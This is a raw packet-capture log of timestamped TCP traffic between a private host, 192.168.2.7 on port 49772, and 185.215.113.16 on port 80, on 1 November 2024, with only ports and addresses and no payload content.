Nov 1, 2024 12:13:31.401879072 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.414607048 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.414629936 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.414644003 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.414658070 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.414710999 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.414736032 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.419363022 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.419377089 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.419444084 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.419456959 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.419461012 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.419471025 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.419514894 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.424077034 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.424089909 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.424143076 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.424158096 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.424159050 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.424181938 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.428742886 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.428757906 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.428802013 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.428814888 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.428822994 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.428827047 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.428838968 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.428855896 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.428899050 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.433574915 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.433588028 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.433599949 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.433612108 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.433634996 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.433702946 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.438304901 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.438318968 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.438329935 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.438343048 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.438354969 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.438388109 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.438429117 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.443073034 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.443087101 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.443136930 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.443139076 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.443151951 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.443208933 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.447824955 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.447839975 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.447854042 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.447868109 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.447874069 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.447953939 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.452558041 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.452578068 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.452590942 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.452604055 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.452651978 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.452651978 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.457320929 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.457339048 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.457350969 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.457364082 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.457397938 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.457432032 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.462070942 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.462105989 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.462120056 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.462131023 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.462137938 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.462172985 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.466782093 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.466797113 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.466814041 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.466826916 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.466837883 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.466872931 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.466897964 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.470390081 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.471543074 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.471626043 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.471638918 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.471648932 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.471681118 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.471683979 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.471703053 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.476346970 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.476361036 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.476402044 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.476423979 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.476438046 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.476449966 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.476471901 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.476550102 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.481117964 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.481136084 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.481148005 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.481159925 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.481173038 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.481234074 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.485842943 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.485853910 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.485865116 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.485883951 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.485896111 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.485917091 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.486043930 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.490633011 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.490645885 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.490665913 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.490679026 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.490705013 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.490732908 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.496418953 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.496432066 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.496443987 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.496495008 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.496495008 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.496505976 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.496519089 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.496571064 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.501833916 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.501847982 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.501899958 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.501908064 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.501923084 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.501933098 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.501993895 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.507705927 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.507718086 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.507730007 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.507742882 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.507787943 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.507843018 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.513895035 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.513907909 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.513919115 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.513981104 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.513981104 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.513991117 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.514003992 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.514061928 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.521461010 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.521473885 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.521486044 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.521498919 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.521538973 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.521568060 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526261091 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526276112 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526287079 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526299953 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526310921 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526324034 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526336908 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526338100 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526338100 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526390076 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526403904 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526420116 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526432037 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526443005 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526453972 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526465893 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526468992 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526468992 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526478052 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526492119 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526501894 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526506901 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526519060 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526537895 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526539087 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526539087 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526555061 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526572943 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526585102 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526593924 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526597023 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526606083 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526609898 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526628971 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526635885 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526640892 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526653051 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526662111 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526674032 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526685953 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526699066 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526710033 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526722908 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526729107 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526729107 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526736021 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526748896 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526761055 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526768923 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526768923 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526772976 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526783943 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526791096 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526803017 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526817083 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526823044 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526829004 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526840925 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526853085 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526865005 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.526880980 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526880980 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.526923895 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527441025 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527453899 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527465105 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527482033 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527493000 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527504921 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527504921 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527506113 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527517080 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527529001 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527542114 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527548075 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527548075 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527554035 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527566910 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527579069 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527590990 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527596951 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527596951 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527604103 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527616024 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527628899 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527662039 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527662039 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527828932 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527842045 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527853966 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527867079 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527872086 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527879000 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527890921 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527896881 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527903080 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527916908 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527928114 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527928114 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527940989 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527951956 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527970076 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527971983 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527985096 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527996063 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.527996063 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.527996063 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528009892 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528024912 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528037071 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528048992 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528059959 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528069973 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528081894 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528094053 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528100014 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528100014 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528111935 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528124094 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528134108 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528136969 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528136969 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528146029 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528158903 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528172016 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528173923 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528184891 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528186083 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528196096 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528209925 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528223991 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528227091 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528229952 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528243065 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528255939 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528268099 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528271914 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528271914 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528304100 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528316975 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528615952 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528635025 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528647900 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528740883 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528785944 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528799057 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528810024 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528821945 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528834105 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528840065 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528846979 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528857946 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528857946 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528871059 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528882027 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528892994 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528892994 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528892994 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528904915 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528918028 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528929949 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.528944016 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528944016 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.528986931 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.529124975 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529136896 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529149055 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529160976 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529174089 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529175043 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.529187918 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529200077 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529211044 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529225111 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529226065 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.529253960 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.529253960 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.529283047 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529295921 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529308081 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529320002 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529331923 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529345036 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529357910 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529366970 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.529366970 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.529370070 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529380083 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.529381990 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529393911 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.529403925 CET	49772	80	192.168.2.7	185.215.113.16
